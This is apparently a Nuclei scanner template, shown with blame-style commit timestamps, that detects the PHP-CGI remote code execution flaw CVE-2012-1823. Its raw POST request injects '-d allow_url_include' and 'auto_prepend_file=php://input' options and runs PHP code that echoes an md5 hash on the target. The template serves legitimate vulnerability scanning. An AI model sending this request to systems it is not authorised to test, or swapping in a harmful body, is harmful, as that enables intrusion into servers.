2021-07-20 09:32:27 +00:00
id : CVE-2012-1823
info :
2022-04-07 13:53:15 +00:00
name : PHP CGI v5.3.12/5.4.2 Remote Code Execution
2021-07-20 09:32:27 +00:00
author : pikpikcu
2023-07-11 19:49:27 +00:00
severity : high
2022-04-22 10:38:41 +00:00
description : |
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
2023-09-27 15:51:13 +00:00
impact : |
Remote code execution
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade to a patched version of PHP or apply the necessary security patches.
2021-08-18 11:37:49 +00:00
reference :
2021-07-20 09:32:27 +00:00
- https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
- https://nvd.nist.gov/vuln/detail/CVE-2012-1823
2022-05-17 09:18:12 +00:00
- https://bugs.php.net/bug.php?id=61910
- http://www.php.net/ChangeLog-5.php#5.4.2
2023-07-11 19:49:27 +00:00
- http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041
2022-02-21 18:33:16 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
cvss-score : 7.5
2022-02-21 18:33:16 +00:00
cve-id : CVE-2012-1823
2023-07-11 19:49:27 +00:00
cwe-id : CWE-20
2024-05-31 19:23:20 +00:00
epss-score : 0.97363
epss-percentile : 0.99899
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : php
product : php
2024-05-31 19:23:20 +00:00
shodan-query : cpe:"cpe:2.3:a:php:php"
2024-01-14 09:21:50 +00:00
tags : cve,cve2012,kev,vulhub,rce,php
2024-04-15 11:26:37 +00:00
variables :
string : "CVE-2012-1823"
2023-04-27 04:28:59 +00:00
http :
2021-07-20 09:32:27 +00:00
- raw :
- |
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2024-04-15 11:26:37 +00:00
<?php echo md5("{{string}}");?>
2021-07-20 09:32:27 +00:00
matchers-condition : and
matchers :
2023-06-15 11:32:15 +00:00
- type : word
part : body
words :
2024-04-15 11:26:37 +00:00
- '{{md5(string)}}'
2024-06-01 06:53:00 +00:00
# digest: 4a0a00473045022022ce5c4f17e4d8fc33d21bc60cf909dfcbb5c85217e1c7fa201caac4702e7d140221008912f28136b2b7554af51f8c82f896a076d16087aa6b5bff6027c4075a4937da:922c64590222798bb761d5b6d8e72950